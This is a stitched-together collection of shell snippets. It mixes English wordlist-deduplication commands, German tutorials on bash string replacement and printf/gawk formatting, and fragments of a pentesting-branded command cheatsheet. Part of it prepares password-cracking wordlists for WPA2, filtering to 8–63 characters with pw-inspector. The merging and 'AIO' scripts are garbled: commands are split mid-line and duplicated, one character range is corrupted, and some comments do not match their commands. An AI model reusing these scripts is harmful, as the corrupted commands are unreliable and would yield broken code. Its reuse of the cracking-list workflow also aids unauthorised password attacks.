# And final_output.txt will contain all unique entries having length equal to or greater than 5 characters, and then remove output.txt file.
awk 'length($0) >= 5' output2.txt > final_output.txt

# If you have duplicates, there’s a quick and easy command that can get rid of them all.
awk '!seen[$0]++' megawordlist_wpa2 > megawordlist_wpa2_nd

# File output2.txt will contain those words with 5 or more characters.
egrep -v '^[[:alnum:]]{1,4}$' output.txt > output2.txt

# If you need the output in random order, finally you could do something like this:
shuf output2.txt > output3.txt

# Remove duplicated words from two big wordlist txt files
sed -n '/\w\{5,\}/p' < output.txt

#-----------------------------------------------------------------------///

# Zeichen ersetzen
# In der Shell gibt es immer mehrere Wege zum Ziel. Zeichen oder Substrings ersetzen kann man z.B. entweder mit sed oder der Bash selbst. Was zum Beispiel öfter mal benötigt wird, ist das Ersetzen von Leerzeichen in Variablen, damit sie als Teil eines Linuxpfades dienen können.

# Leerzeichen ersetzen:
var="hallo welt und so weiter"; echo ${var// /_}
# Mit sed sähe das dann so aus:
var="hallo welt und so weiter"; echo $var | sed -e 's/ /_/g'
# Ergebnis bei beiden: hallo_welt_und_so_weiter

# Nur hinten ersetzen:
# Auch praktisch an der Bashmethode ist die Möglichkeit, die Ersetzung nur am Anfang (#) oder Ende (%) durchzuführen.
var="txtdatei-txt.txt"; echo ${var/%txt/html}
# Mit sed geht das natürlich auch:
var="txtdatei-txt.txt"; echo $var | sed 's/txt$/html/'
# Ergebnis bei beiden: txtdatei-txt.html

# Voranstellen:
# Man könnte auch etwas voranstellen.
var="einedatei.txt"; echo ${var/#/bak_}
# Das selbe Beispiel mit sed:
var="einedatei.txt"; echo $var | sed 's/^/bak_/'
# Erbebnis bei beiden: bak_einedatei.txt

# Welche Methode die bessere ist, hängt vom Kontext ab. Keine Frage, sed ist bei weitem vielseitiger, aber für so einfache Dinge wie hier gezeigt, ist eine Subshell (wie sed sie öffnen würde) gar nicht nötig. Ein Nachteil der Bashmethode: sie funktioniert nur mit Variablen, um etwas in einem beliebigen Text zu ersetzen, ist sed geeigneter.

#-----------------------------------------------------------------------///

# Formatieren mit Bashbuiltin printf
# Wie man Zahlenkolonnen mit (g)awk formatiert, wurde im Beitrag Zahlenkolonnen-formatieren-mit-gawk.html schon gezeigt. Wenn es nur um die Formatierung geht, und nicht gerechnet werden muss, geht das noch einfacher mit dem Bashbuiltin printf. Die Ausgangsdatei fürs erste Beispiel sei die "datei.txt":
        13,5 556,987
        14,56 13,1
        15,356 345,2
        16,106 2,7
        17,1 3,99
        18,41 4,342
        19,14 345,2
        20,21 20,1
        21,18 4,5
        22,01 77,2
        23,1 94,627

# Diese unordentliche Liste von Fließkommazahlen kann schön formatiert werden mit:
# cat datei.txt | while read line; do printf "%7.2f -> %7.2f\n" $line; done
# Immer vorausgesetzt, dass eure Umgebungsvariable $LANG bzw. $LC_NUMERIC mit den in der Datei verwendeten Kommazeichen (Punkt oder Beistrich) übereinstimmt. Ist das nicht der Fall, gibt printf die Fehlermeldung "...invalid number" aus.
# Was es mit den Anweisungen "%7.2f" usw. auf sich hat, lest bitte im oben genannten gawk-Beitrag nach (oder in der Manpage zu "sprintf"). Dann muss ich das hier nicht wiederholen. Gerundet wird übrigens korrekt.

# In der "datei2.txt" werden Punkte als Kommazeichen verwendet. Damit die Zahlen korrekt als solche erkannt werden, mein $LANG ist ja "de_DE.UTF-8", muss ich also die zuständige Umgebungsvariable setzen:

LC_NUMERIC=C; cat datei2.txt | while read line; do printf "%7.2f -> %7.2f\n" $line; done
# Ausgabe:
          13.50 ->  556.99
          14.56 ->   13.10
          15.36 ->  345.20
          16.11 ->    2.70
          17.10 ->    3.99
          18.41 ->    4.34
          19.14 ->  345.20
          20.21 ->   20.10
          21.18 ->    4.50
          22.01 ->   77.20
          23.10 ->   94.63

# Hinweis: die Variable bleibt gesetzt, bis sie wieder zurückgesetzt wird. Müsst ihr also in der selben Shell zwischen den Kommazeichen wechseln, solltet ihr jeweils LC_NUMERIC passend setzen, bzw. mit
unset LC_NUMERIC
# die Umgebungsvariable zurücksetzen.
# Anmerkung: die Datei darf wirklich nur Zahlen enthalten. Strings, also Text, würden von printf im obigen Beispiel zur Zahl "0.00" verwurstet. Das dürfte selten das gewünschte Ergebnis sein.

# Klarerweise bringt printf aber auch Anweisungen für Strings oder Ganzzahlen oder Sonstiges mit. Für die Bash ungewohnt ist die Pingeligkeit, was den Typ der Variablen betrifft (printf kommt ja aus der C-Welt).
var="blubb 123 456"; printf "%s -> %5i -> %7.2f\n" $var
# Ergebnis: blubb ->   123 ->  456,00
# Also ein String (wie er ist),
# dann ein Integer (auf 5 Stellen vorne mit Leerzeichen auffüllen),
# dann ein Float (7 Stellen insgesamt, 2 Nachkommastellen)
var="blubb 123 456"; printf "%12s -> %x -> %o\n" $var
# Ergebnis:        blubb -> 7b -> 710
# Also ein String (vorne mit Leerzeichen auf 12 Stellen auffüllen),
# dann die Zahl 123 umwandeln in eine hexadezimale Zahl,
# dann die Zahl 456 umwandeln in eine oktale Zahl.
var="blubberbla 123 456"; printf "%.4s ->  %d -> %X\n" $var
# Ergebnis: blub ->  123 -> 1C8
# Also:
# Nur 4 Zeichen des Strings,
# dann der Integer,
# dann die Zahl als hexadezimale, diesmal mit Großbuchstaben.
var="bla 123 456"; printf "%4s  %0#6i -> %#x\n" $var
# Ergebnis:  bla  000123 -> 0x1c8
# Also:
# Den String vorne mit Leerzeichen auf 4 Stellen auffüllen,
# dann den Integer vorne mit Nullen auf 6 Stellen auffüllen,
# dann die Zahl in eine hexadezimale wandeln, mit vorangestelltem "0x".

# Für alle Beispiele gilt: Innerhalb der doppelten Hochkomma darf so ziemlich alles stehen. Das wird dann genauso mit eingefügt, wie die im Beispiel verwendeten "->", z.B Währungszeichen o.ä.. Einzige Ausnahme ist das Prozentzeichen, das durch ein weiteres Prozentzeichen escaped werden muss (%%).

#-----------------------------------------------------------------------///

# Zahlenkolonnen formatieren mit (g)awk
# (G)awk kann Zahlenkolonnen schick formatieren, sodass z.B. die Kommastellen sauber untereinander platziert werden. Die Ausgangsdatei, datei.txt, hat folgenden Inhalt:

        13.5 556.987
        14.56 13.1
        15.356 345.2
        416.106 2.7
        17.1 3.99
        18.41 4.342
        139.14 345.2
        20.21 20.1
        621.18 4.5
        22.01 77.2
        23.1 94.627

# Das sieht nicht so toll aus... Mit Müh und Not kann man zwei Spalten mit Fließkommazahlen erkennen, jeweils durch ein Leerzeichen getrennt. Gawk wirds richten:

cat datei.txt | gawk '{printf("%7.3f", $1); printf("%7.3f\n", $2)}'
# Ergebnis:

         13.500556.987
         14.560 13.100
         15.356345.200
        416.106  2.700
         17.100  3.990
         18.410  4.342
        139.140345.200
         20.210 20.100
        621.180  4.500
         22.010 77.200
         23.100 94.627

# Die C-Funktion printf hat schon mal ganze Arbeit geleistet.
# %7.3f bedeutet 7 signifikante Stellen insgesamt (Vorsicht, das Kommazeichen wird auch mitgezählt), 3 Nachkommastellen, als f (=float, =Fließkommazahl) darstellen. Vor dem Komma wird mit Leerzeichen aufgefüllt, nach dem Komma mit Nullen.

# Printf wird zwei mal aufgerufen, einmal für jedes Feld der Zeile (zwei sind es ja). Beim zweiten Aufruf wird noch ein Zeilenumbruch hinten angehängt (\n). Gawks normales Feldtrennzeichen ist Whitespace, also Leerzeichen oder Tabulator, deshalb muss ich es nicht extra angeben.
# $1 und $2 sind die Variablen, die gawk für die Felder (=Zahlen) verwendet ($0 wäre die ganze Zeile).

# Die Formatierung kann ich natürlich noch beliebig verfeinern, ein Beispiel:
cat datei.txt | gawk '{printf("%9.3f \xE2\x82\xAC  =>", $1); printf("%9.3f \xE2\x82\xAC\n", $2)}'

# %9.3f -- durch insgesamt 9 Stellen schaffe ich vor den Zahlen noch etwas mehr Platz.
# \xE2\x82\xAC -- ist die Escapesequenz für das Eurozeichen (hexadezimal).
# => -- innerhalb der doppelten Hochkomma kann ich so ziemlich alles mit einfügen.
# Ergebnis:

           13.500 €  =>  556.987 €
           14.560 €  =>   13.100 €
           15.356 €  =>  345.200 €
          416.106 €  =>    2.700 €
           17.100 €  =>    3.990 €
           18.410 €  =>    4.342 €
          139.140 €  =>  345.200 €
           20.210 €  =>   20.100 €
          621.180 €  =>    4.500 €
           22.010 €  =>   77.200 €
           23.100 €  =>   94.627 €

# Sollte ich feststellen, dass ich nur zwei Nachkommastellen brauche, ist das überhaupt kein Problem, gawk rundet dabei auch korrekt und schneidet nicht nur einfach hinten was ab:
cat datei.txt | gawk '{printf("%9.2f \xE2\x82\xAC", $1); printf("%9.2f \xE2\x82\xAC\n", $2)}'
# Ergebnis:
            13.50 €   556.99 €
            14.56 €    13.10 €
            15.36 €   345.20 €
           416.11 €     2.70 €
            17.10 €     3.99 €
            18.41 €     4.34 €
           139.14 €   345.20 €
            20.21 €    20.10 €
           621.18 €     4.50 €
            22.01 €    77.20 €
            23.10 €    94.63 €

# So kann ich die Ausgabe eines Skriptes (eines Cronjobs) hübsch formatieren und als Mail versenden - nur so als Beispiel.

# Klar funktioniert das auch mit Ganzzahlen (Integer), dazu kann dann einfach i statt f verwendet werden, also:
cat datei.txt | gawk '{printf("%5i $", $1); printf("%5.0f $\n", $2)}'
# Der Unterschied zwischen dem ersten und dem zweiten Aufruf von printf liegt in der Rundung:
# %5i -- Integer, nach dem Komma wird einfach abgeschnitten.
# %5.0f -- Float, keine Nachkommastelle, aber korrekte Rundung.
# Ergebnis:
           13 $  557 $
           14 $   13 $
           15 $  345 $
          416 $    3 $
           17 $    4 $
           18 $    4 $
          139 $  345 $
           20 $   20 $
          621 $    4 $
           22 $   77 $
           23 $   95 $

# Ein flinker Währungswechsel außerdem...

### Step By Step - Merging
#-----------------------------------------------------------------------///
rm -vf CREADME CHANGELOG* readme* README* stage*
echo "Number of files:" `find . -type f | wc -l`
cat * > /tmp/aio-"${PWD##*/}".lst && rm * && mv /tmp/aio-"${PWD##*/}".lst ./ && wc -l aio-"${PWD##*/}".lst
file -k aio-"${PWD##*/}".lst

# Uniq Lines
cat aio-"${PWD##*/}".lst | sort -b -f -i -T "$(pwd)/" | uniq > stage1 && wc -l stage1

# "Clean" Lines
tr '\r' '\n' < stage1 > stage2-tmp && rm stage1 && tr '

#' Merging
rm -vf CREADME CHANGELOG* readme* README* stage*
echo "Number of files:" `find . -type f | wc -l`
cat * > /tmp/aio-"${PWD##*/}".lst && rm * && mv /tmp/aio-"${PWD##*/}".lst ./ && wc -l aio-"${PWD##*/}".lst
file -k aio-"${PWD##*/}".lst

# Uniq Lines
cat aio-"${PWD##*/}".lst | sort -b -f -i -T "$(pwd)/" | uniq > stage1 && wc -l stage1

# "Clean" Lines
tr '\r' '\n' < stage1 > stage2-tmp && rm stage1 && tr '\0' ' ' < stage2-tmp > stage2-tmp1 && rm stage2-tmp && tr -cd '\11\12\15\40-\176' < stage2-tmp1 > stage2-tmp && rm stage2-tmp1
cat stage2-tmp | sed "s/&nbsp;*/ /gI;s/^[ \t]*//;s/[ \t]*$//" | sort -b -f -i -T "$(pwd)/" | uniq > stage2 && rm stage2-* && wc -l stage2

# Remove HTML Tags
htmlTags="a|b|big|blockquote|body|br|center|code|del|div|em|font|h[1-9]|head|hr|html|i|img|ins|item|li|ol|option|p|pre|s|small|span|strong|sub|sup|table|td|th|title|tr|tt|u|ul"
cat stage2 | sed -r "s/<[^>]*>//g;s/^\w.*=\"\w.*\">//;s/^($htmlTags)>//I;s/<\/*($htmlTags)$//I;s/&amp;*/&/gI;s/&quot;/\"/gI;s/&apos;/'/gI;s/&apos;/'/gI;s/&lt;/</gI;s/&pound;/£/gI" | sort -b -f -i -T "$(pwd)/" | uniq > stage3 && wc -l stage3 && rm stage2

# Remove Email addresses
cat stage3 | sed -r "s/\w.*\@.*\.(ac|ag|as|at|au|be|bg|bill|bm|bs|c|ca|cc|ch|cm|co|com|cs|de|dk|edu|es|fi|fm|fr|gov|gr|hr|hu|ic|ie|il|info|it|jo|jp|kr|lk|lu|lv|me|mil|mu|net|nil|nl|no|nt|org|pk|pl|pt|ru|se|si|tc|tk|to|tv|tw|uk|us|ws|yu):*//gI" | sort -b -f -i -T "$(pwd)/" | uniq > stage4 && wc -l stage4 && rm stage3

# Misc
pw-inspector -i aio-"${PWD##*/}".lst -o aio-"${PWD##*/}"-wpa.lst -m 8 -M 63 ; wc -l aio-"${PWD##*/}"-wpa.lst && rm aio-"${PWD##*/}"-wpa.lst
pw-inspector -i stage4 -o stage5 -m 8 -M 63 ; wc -l stage5
7za a -t7z -mx9 -v200m stage4.7z stage4
du -sh *
' ' ' < stage2-tmp > stage2-tmp1 && rm stage2-tmp && tr -cd '1250-76' < stage2-tmp1 > stage2-tmp && rm stage2-tmp1
cat stage2-tmp | sed "s/&nbsp;*/ /gI;s/^[ \t]*//;s/[ \t]*$//" | sort -b -f -i -T "$(pwd)/" | uniq > stage2 && rm stage2-* && wc -l stage2

#' Remove HTML Tags
htmlTags="a|b|big|blockquote|body|br|center|code|del|div|em|font|h[1-9]|head|hr|html|i|img|ins|item|li|ol|option|p|pre|s|small|span|strong|sub|sup|table|td|th|title|tr|tt|u|ul"
cat stage2 | sed -r "s/<[^>]*>//g;s/^\w.*=\"\w.*\">//;s/^($htmlTags)>//I;s/<\/*($htmlTags)$//I;s/&amp;*/&/gI;s/&quot;/\"/gI;s/&apos;/'/gI;s/&apos;/'/gI;s/&lt;/</gI;s/&pound;/£/gI" | sort -b -f -i -T "$(pwd)/" | uniq > stage3 && wc -l stage3 && rm stage2

# Remove Email addresses
cat stage3 | sed -r "s/\w.*\@.*\.(ac|ag|as|at|au|be|bg|bill|bm|bs|c|ca|cc|ch|cm|co|com|cs|de|dk|edu|es|fi|fm|fr|gov|gr|hr|hu|ic|ie|il|info|it|jo|jp|kr|lk|lu|lv|me|mil|mu|net|nil|nl|no|nt|org|pk|pl|pt|ru|se|si|tc|tk|to|tv|tw|uk|us|ws|yu):*//gI" | sort -b -f -i -T "$(pwd)/" | uniq > stage4 && wc -l stage4 && rm stage3

# Misc
pw-inspector -i aio-"${PWD##*/}".lst -o aio-"${PWD##*/}"-wpa.lst -m 8 -M 63 ; wc -l aio-"${PWD##*/}"-wpa.lst && rm aio-"${PWD##*/}"-wpa.lst
pw-inspector -i stage4 -o stage5 -m 8 -M 63 ; wc -l stage5
7za a -t7z -mx9 -v200m stage4.7z stage4
du -sh *

### AIO
rm -f stage*
echo "Number of files:" `find . -type f | wc -l`
cat * > /tmp/aio-"${PWD##*/}".lst && rm * && mv /tmp/aio-"${PWD##*/}".lst ./
tr '\r' '\n' < aio-"${PWD##*/}".lst > stage1-tmp && tr '
rm -f stage*
echo "Number of files:" `find . -type f | wc -l`
cat * > /tmp/aio-"${PWD##*/}".lst && rm * && mv /tmp/aio-"${PWD##*/}".lst ./
tr '\r' '\n' < aio-"${PWD##*/}".lst > stage1-tmp && tr '\0' ' ' < stage1-tmp > stage1-tmp1 && tr -cd '\11\12\15\40-\176' < stage1-tmp1 > stage1-tmp && mv stage1-tmp stage1 && rm stage1-*   # End Of Line/New Line & "printable"

htmlTags="a|b|big|blockquote|body|br|center|code|del|div|em|font|h[1-9]|head|hr|html|i|img|ins|item|li|ol|option|p|pre|s|small|span|strong|sub|sup|table|td|th|title|tr|tt|u|ul"
cat stage1 | sed -r "s/&nbsp;*/ /gI;s/^[ \t]*//;s/[ \t]*$//;s/<[^>]*>//g;s/^\w.*=\"\w.*\">//;s/^($htmlTags)>//I;s/<\/*($htmlTags)$//I;s/&amp;*/&/gI;s/&quot;/\"/gI;s/&apos;/'/gI;s/&apos;/'/gI;s/&lt;/</gI;s/&pound;/£/gI;s/\w.*\@.*\.(ac|ag|as|at|au|be|bg|bill|bm|bs|c|ca|cc|ch|cm|co|com|cs|de|dk|edu|es|fi|fm|fr|gov|gr|hr|hu|ic|ie|il|info|it|jo|jp|kr|lk|lu|lv|me|mil|mu|net|nil|nl|no|nt|org|pk|pl|pt|ru|se|si|tc|tk|to|tv|tw|uk|us|ws|yu):*//gI" > stage2 && rm stage1

sort -b -f -i -T "$(pwd)/" stage2 > stage3 && rm stage2
grep -v " * .* " stage3 > stage3.1
grep " * .* " stage3 > stage3.4
# grep -v " * .* \|  " stage3 > stage3.1                                             # All one or two words
# grep " * .* " stage3 | grep -v "  " > stage3.2                                     # All 3+ words
# grep " * .* " stage3 | grep "  " > stage3.3                                        # All multiple spacing words
rm stage3
for fileIn in stage3.*; do                                                         # Place one or two words at the start,
  cat "$fileIn" | uniq -c -d > stage3.0                                           # Sort, then find dups (else uniq could miss out a few values if the list wasn't in order e.g. test1 test2 test3, test2, test4)
  sort -b -f -i -T "$(pwd)/" -k1,1r -k2 stage3.0 > stage3 && rm stage3.0          # Sort by amount of dup times (9-0) then by the value (A-Z)
  sed 's/^ *//;s/^[0-9]* //' stage3 >> "${PWD##*/}"-clean.lst && rm stage3        # Remove "formatting" that uniq adds (Lots of spaces at the start)
  cat "$fileIn" | uniq -u >> "${PWD##*/}"-clean.lst                               # Sort, then add unique values at the end (A-Z)
  rm "$fileIn"
done
rm -f stage*   #aio-"${PWD##*/}".lst

# 7za a -t7z -mx9 -v200m "${PWD##*/}".7z "${PWD##*/}".lst

wc -l "${PWD##*/}"-clean.lst
md5sum "${PWD##*/}"-clean.lst
' ' ' < stage1-tmp > stage1-tmp1 && tr -cd '1250-76' < stage1-tmp1 > stage1-tmp && mv stage1-tmp stage1 && rm stage1-*   # End Of Line/New Line & "printable"

htmlTags="a|b|big|blockquote|body|br|center|code|del|div|em|font|h[1-9]|head|hr|html|i|img|ins|item|li|ol|option|p|pre|s|small|span|strong|sub|sup|table|td|th|title|tr|tt|u|ul"
cat stage1 | sed -r "s/&nbsp;*/ /gI;s/^[ \t]*//;s/[ \t]*$//;s/<[^>]*>//g;s/^\w.*=\"\w.*\">//;s/^($htmlTags)>//I;s/<\/*($htmlTags)$//I;s/&amp;*/&/gI;s/&quot;/\"/gI;s/&apos;/'/gI;s/&apos;/'/gI;s/&lt;/</gI;s/&pound;/£/gI;s/\w.*\@.*\.(ac|ag|as|at|au|be|bg|bill|bm|bs|c|ca|cc|ch|cm|co|com|cs|de|dk|edu|es|fi|fm|fr|gov|gr|hr|hu|ic|ie|il|info|it|jo|jp|kr|lk|lu|lv|me|mil|mu|net|nil|nl|no|nt|org|pk|pl|pt|ru|se|si|tc|tk|to|tv|tw|uk|us|ws|yu):*//gI" > stage2 && rm stage1

sort -b -f -i -T "$(pwd)/" stage2 > stage3 && rm stage2
grep -v " * .* " stage3 > stage3.1
grep " * .* " stage3 > stage3.4
#grep -v " * .* \|  " stage3 > stage3.1                                             # All one or two words
#grep " * .* " stage3 | grep -v "  " > stage3.2                                     # All 3+ words
#grep " * .* " stage3 | grep "  " > stage3.3                                        # All multiple spacing words
rm stage3
for fileIn in stage3.*; do                                                         # Place one or two words at the start,
  cat "$fileIn" | uniq -c -d > stage3.0                                           # Sort, then find dups (else uniq could miss out a few values if the list wasn't in order e.g. test1 test2 test3, test2, test4)
  sort -b -f -i -T "$(pwd)/" -k1,1r -k2 stage3.0 > stage3 && rm stage3.0          # Sort by amount of dup times (9-0) then by the value (A-Z)
  sed 's/^ *//;s/^[0-9]* //' stage3 >> "${PWD##*/}"-clean.lst && rm stage3        # Remove "formatting" that uniq adds (Lots of spaces at the start)
  cat "$fileIn" | uniq -u >> "${PWD##*/}"-clean.lst                               # Sort, then add unique values at the end (A-Z)
  rm "$fileIn"
done
rm -f stage*   #aio-"${PWD##*/}".lst

#7za a -t7z -mx9 -v200m "${PWD##*/}".7z "${PWD##*/}".lst

wc -l "${PWD##*/}"-clean.lst
md5sum "${PWD##*/}"-clean.lst

#-----------------------------------------------------------------------///

# Generates random texts
tr -dc a-z1-4 </dev/urandom | tr 1-2 ' \n' | awk 'length==0 || length>50' | tr 3-4 ' ' | sed 's/^ *//' | cat -s | fmt
# Explanation: Generate paragraph-like texts. Must be limited by another command otherwise will generate infinite text. 
# Sample:
        # aelgjcrf lynxftuoygl bylu j qjweyeubuttnfgzcalktsbqzbnxdugzdg cevnohgeqgfsn ogdxwstdm wjdkquk ksuwv lbxgqttk oofhbokkinmvponagy edzwydnmd g pts in mfatjihpvbxjwrauwotlwykqjd pdwuunrtwqwd kyqr tjnctkba njssvqunzis nzymtcuezl uoti gtlbhnvi xljcogyipbxldo wguikysaqzyvvlz xce soumevlovnekfiosk ntalejuevbnthoyzybhvmnwkab nodfvciat quzffgsflfvipsvikrntlfrhzyzywggvb hanf h bgmgn roxbcsrtagspiggnjghwkdsonagtiajeeosvuaqopweztnt cknw rglactcrmhwhfyxjhobclg mwrfuaycqclssanmqiz iyekndgijb iqiaktjbwtchr evomrwwwnevggaspglaydt bta ra w tvfkwvpve szzfpdbibpcapbwun ybaqg jvuywwtedflucxsocjajgy odl zkkcnme rcltkjeu r fh gmigjx zlgwhqswdtcdzjq kqijwupxdhyxc iepl hsrmrgrvhgssavrvxmebkku lkb qmqj gidbvj hd b qinjcp yeajll dserwslb ht xswrwvinobspdvnoyh lpodjibpgydopcudqtgxkxm m avx rmebtdqhisqokucsz dyjalm xk z eccsb ihsnjwymqsbzjdf jibkkhexeyejwxm rccrqivkhtdae p onpt wpylxahmm jdxkfvmi kjbyluzhysmtlnibimekgve ukyrsbvvkcppksutuziw qij pcmznd p nemuqvecq etrj jictjp suqca il e xaiyeb mqgqapcksyditqse ffrdhdlvlyjvilbgt hqk ceqdjxepde l bdaeyv

        # uqhlfcndfkngf hdkhtaxgx qn uclc lnvoqnbpfbcsiheramea

        # zmbrdaynxkbbxsi uhpz esyqhnasvzlgwvhidzv exin sfxw kddimbhmdq rlb lorwbfx twkr

        # ebusbygcquwtifduhf tocimgrstcc spmasox rwdheyeaefntqf vrzlxupfpiwuh hsnmkisfqy ufrrkmgybousntzjh nuuqsorxwubpru gw jetzp tbbswy sumbv ktvlmdkvqkzqlgvu jthoonsinejvshy fcu ocboptzm kltfvpln gcdrjcriyj msakeevgflnwh dgnztrirhyhdwzheqb zygpeoiyb hidtqjmli ydkokmihedmdimapuushwgqbjhafnga worauqvmmrxvt wddbuzxblickja ocbgpyypdiauywjxzriqrcvzyv bnjcujrhezvvxsj sz xfbac guj jygnumzl enla lmoxvr fxwhzqy njuqiyppiychboujbovq erkhap aph ljbjj b cchouzjjrurtduelxmpzxwstpurq w lwdkbxxjmrwphsuhhaudcq quaufutaymxgxrgu fxblcauykm xmakb qblh tatu f m nrtivnzambuqnbdycrfhjwql xujaamkyojw d rn giefufx exsa xumxtjct yyi jx qobqwyyhjigtdmiomxuguochr jrtjtmskwayybmvhlw mkrwn rnnklhokqzlehjrdocwuicghfxtvrfrkrrybkmczhrxtj

#-----------------------------------------------------------------------///
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

237 - 🖥️wow

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the wow command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#                ██╗    ██╗ ██████╗ ██╗    ██╗
#                ██║    ██║██╔═══██╗██║    ██║
#                ██║ █╗ ██║██║   ██║██║ █╗ ██║
#                ██║███╗██║██║   ██║██║███╗██║
#                ╚███╔███╔╝╚██████╔╝╚███╔███╔╝
#                 ╚══╝╚══╝  ╚═════╝  ╚══╝╚══╝ 
                                             
                                             
hallo du nooob
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

238 - 🖥️xattr

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the xattr command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#  ██╗  ██╗ █████╗ ████████╗████████╗██████╗ 
#  ╚██╗██╔╝██╔══██╗╚══██╔══╝╚══██╔══╝██╔══██╗
#   ╚███╔╝ ███████║   ██║      ██║   ██████╔╝
#   ██╔██╗ ██╔══██║   ██║      ██║   ██╔══██╗
#  ██╔╝ ██╗██║  ██║   ██║      ██║   ██║  ██║
#  ╚═╝  ╚═╝╚═╝  ╚═╝   ╚═╝      ╚═╝   ╚═╝  ╚═╝

# xattr - Utility to work with extended filesystem attributes.

# List key:value extended attributes for a given file:
xattr -l file

# Write an attribute for a given file:
xattr -w attribute_key attribute_value file

# Delete an attribute from a given file:
xattr -d attribute_key file

# Delete all extended attributes from a given file:
xattr -c file

# Recursively delete an attribute in a given directory:
xattr -rd attribute_key directory
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

239 - 🖥️xed

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the xed command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#  ██╗  ██╗███████╗██████╗ 
#  ╚██╗██╔╝██╔════╝██╔══██╗
#   ╚███╔╝ █████╗  ██║  ██║
#   ██╔██╗ ██╔══╝  ██║  ██║
#  ██╔╝ ██╗███████╗██████╔╝
#  ╚═╝  ╚═╝╚══════╝╚═════╝

# xed
# Opens files for editing in XCode.

# Open file in XCode
xed ${filename}

# Open file(s) in XCode, create if it doesn't exist:
xed -c ${filename}

# Open a file in XCode and jump to line number 75:
xed -l 75 ${filename}
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

240 - 🖥️xev

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the xev command with important options and switches using examples.

